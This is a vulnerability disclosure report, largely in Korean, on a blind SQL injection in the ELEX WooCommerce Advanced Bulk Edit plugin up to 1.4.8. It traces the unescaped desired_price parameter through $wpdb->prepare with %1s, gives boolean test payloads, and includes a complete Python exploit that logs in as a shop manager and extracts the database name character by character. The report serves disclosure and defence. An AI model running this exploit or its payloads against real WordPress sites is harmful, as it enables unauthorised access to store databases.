Component type
WordPress plugin
Component details
Component name ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes
Vulnerable version <= 1.4.8
Component slug elex-bulk-edit-products-prices-attributes-for-woocommerce-basic
OWASP 2017: TOP 10
Vulnerability class A3: Injection
Vulnerability type SQL Injection
Pre-requisite
Shop Manager OR Administrator
Vulnerability details
Short description
ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes 플러그인은 제품을 대량으로 편집할 수 있도록 지원하는 플러그인입니다.
이 플러그인에서 제품을 대량 편집할 때는 필터링을 통해 편집 대상을 선택하게 되는데, 이 과정에서 제품 필터링 요청 시 전달되는 일부 데이터가 SQL 쿼리문에 직접 삽입되어 SQL Injection 취약점이 발생합니다.
다만 SQL 쿼리의 결과를 직접 확인할 수는 없으며, 쿼리 결과의 참/거짓 여부를 통해 데이터를 추출하는 Blind SQL Injection 방식으로 취약점이 존재합니다.
How to reproduce (PoC)
1.
대시보드에서 우커머스 메뉴의 'Bulk Edit Products'('/wp-admin/admin.php?page=eh-bulk-edit-product-attr')로 이동합니다.
2.
제품 필터링 항목 중 Product Regular Price의 select 태그에서 '=='를 선택합니다.
3.
텍스트 입력 폼에 '1 OR 1=1'을 입력합니다(작은따옴표(')는 제외).
4.
하단의 'Preview Filtered Products' 버튼을 클릭하면 모든 상품이 조회됩니다.
5.
반면 동일한 입력 폼에 '1 OR 1=2'를 입력하면 상품이 전혀 조회되지 않습니다.
6.
이를 통해 SQL 쿼리문의 조건이 참/거짓인지에 따라 응답 데이터가 달라지는 것을 확인할 수 있습니다.
Additional information (optional)
[취약점 발생 원인]
위 PoC 설명에서 요청한 기능(’Preview Filtered Products’)을 수행할 경우 아래의 패킷이 발생합니다.
해당 패킷이 요청되면 /wp-content/plugins/elex-bulk-edit-products-prices-attributes-for-woocommerce-basic/includes/elex-ajax-apifunctions.php 파일 내 elex_bep_filter_products 함수가 호출됩니다.
요청 데이터에서 SQL Injection 페이로드가 포함된 desired_price 값은 아래 순서를 통해 SQL 질의문으로 실행됩니다.
1.
SQL Injection 페이로드가 포함된 desired_price 값이 질의문 조건절에 직접 전달되어 변수 $price_query에 할당됩니다.
product_title_text, range 도 질의문에 직접 전달되지만 PoC에서 desired_price 에 SQL Injection 페이로드를 전달했기 때문에 여기서는 desired_price 만 설명하겠습니다.
// elex-ajax-apifunctions.php at line 1280
$price_query = " AND meta_key='_regular_price' AND meta_value {$filter_range} {$data_to_filter['desired_price']} ";
PHP
복사
2.
이후 변수 $price_query 는 변수 $sql 에 추가되며(line 1365, 1번), 변수 $sql 과 문자열 AND 와 변수 $product_type_condition 는 변수 $main_query 를 초기화 합니다.(line 1379, 2번)
변수 $sql 은 elex-ajax-apifunctions.php 의 1257번 째 라인에서 초기화됩니다.
[1번 사진 참고]
3.
최종적으로 변수 $main_query 는 아래와 같이 함수 prepare 함수의 인자로 전달되어 데이터베이스에 질의를 수행하게 됩니다.
따라서, SQL Injection 페이로드를 포함한 요청 파라미터 desired_price가 $wpdb->prepare( '%1s', $main_query ) 구문의 $main_query에 포함됩니다. 이때 %1s 포맷 지정자는 $main_query 값을 그대로 전달하므로, SQL Injection 페이로드가 이스케이프 처리 없이 질의문에 삽입되어 SQL Injection 취약점이 발생합니다.
[PoC 코드 구현 및 실행]
PoC 코드는 상품 관리자 계정으로 Blind SQL Injection 취약점을 활용해 데이터베이스명을 획득하는 방식으로 구현했습니다.
1.
PoC 코드를 편집기로 열어 WordPress 사이트 주소와 상품 관리자의 계정을 입력합니다.
2.
그 다음 아래의 명령어를 입력하여 PoC 코드를 실행합니다.
필요 모듈 requests,
python poc.py
Bash
복사
Attach files (optional)
PoC Code
import requests
import sys
import string
import re
class WordPressSQLInjector:
def __init__(self, target, login_id, login_pw, proxies):
self.target = target
self.session = requests.session()
self.nonce = None
self.proxies = proxies
self.login_id = login_id
self.login_pw = login_pw
def login(self):
data = {
"log": self.login_id,
"pwd": self.login_pw,
"wp-submit": "Log In",
"testcookie": 1,
}
resp = self.session.post(f"{self.target}/wp-login.php", data=data, proxies=self.proxies)
if any("wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()):
print(f" |- Successfully logged in with account {self.login_id}.")
else:
raise Exception("[-] Login failed.")
def get_nonce(self, page_url):
"""
Extract the _ajax_eh_bep_nonce value from the specified page.
"""
resp = self.session.get(url=page_url, proxies=self.proxies)
pattern = r'name="_ajax_eh_bep_nonce" value=\"(.{10})\"'
match = re.search(pattern, resp.text)
if match:
self.nonce = match.group(1)
print(f" |- Successfully extracted nonce: {self.nonce}")
else:
raise ValueError("Failed to extract _ajax_eh_bep_nonce.")
def create_payload(self, payload):
"""
Generate a payload dictionary dynamically with the extracted nonce.
"""
if not self.nonce:
raise ValueError("_ajax_eh_bep_nonce is not set. Call `get_nonce` first.")
return {
"paged": "1",
"_ajax_eh_bep_nonce": self.nonce,
"action": "eh_bep_filter_products",
"sub_category_filter": "",
"attribute": "",
"product_title_select": "all",
"product_title_text": "",
"regex_flags": "",
"attribute_value_filter": "",
"attribute_and": "",
"attribute_value_and_filter": "",
"range": "=",
"desired_price": payload,
"minimum_price": "",
"maximum_price": "",
"exclude_ids": "",
"exclude_subcat_check": "0",
"enable_exclude_prods": "0",
}
def find_database_length(self, ajax_url):
"""
Find the length of the database name using SQL injection.
"""
database_length = 0
while True:
sys.stdout.write(f"\rFinding database name length... Current database length: {database_length}")
sys.stdout.flush()
payload = f"1 OR LENGTH(DATABASE()) = {database_length}"
resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies)
if resp.json()["total_items_count"] != 0:
sys.stdout.write("\r" + " " * 60 + "\r")
print("*" * 40)
print("Successfully found database name length!")
print(f"Database name length: {database_length}")
print("*" * 40)
return database_length
database_length += 1
def extract_database_name(self, ajax_url, database_length):
"""
Extract the database name character by character using SQL injection.
"""
database_name = ''
charset = string.ascii_letters + string.digits + "_"
print("Starting database name extraction...")
for i in range(1, database_length + 1):
for char in charset:
ascii_value = ord(char)
payload = f"1 OR ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {ascii_value}"
resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies)
try:
is_true = resp.json()["total_items_count"] != 0
except (KeyError, ValueError, requests.exceptions.JSONDecodeError):
print(f"\nJSON response error occurred: {resp.text}")
is_true = False
if is_true:
database_name += char
sys.stdout.write(f"\rCurrent database name: {database_name}")
sys.stdout.flush()
break
sys.stdout.write("\r" + " " * 80 + "\r")
print("*" * 40)
print("Successfully extracted database name!")
print(f"Database name: {database_name}")
print("*" * 40)
return database_name
if __name__ == '__main__':
# Configuration
TARGET = "http://localhost:8080"
# Shop Manager OR Administrator
LOGIN_ID = "shop_manager"
LOGIN_PW = "shop_manager"
NONCE_PAGE = f"{TARGET}/wp-admin/admin.php?page=eh-bulk-edit-product-attr"
AJAX_URL = f"{TARGET}/wp-admin/admin-ajax.php"
# Enter the proxy server address in the variable below if you want to configure a proxy.
PROXY_SERVER = None
PROXY_CONFIG = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
# Initialize and perform SQL Injection
injector = WordPressSQLInjector(TARGET, LOGIN_ID, LOGIN_PW, proxies=PROXY_CONFIG)
injector.login()
injector.get_nonce(NONCE_PAGE)
database_length = injector.find_database_length(AJAX_URL)
database_name = injector.extract_database_name(AJAX_URL, database_length)
Python
복사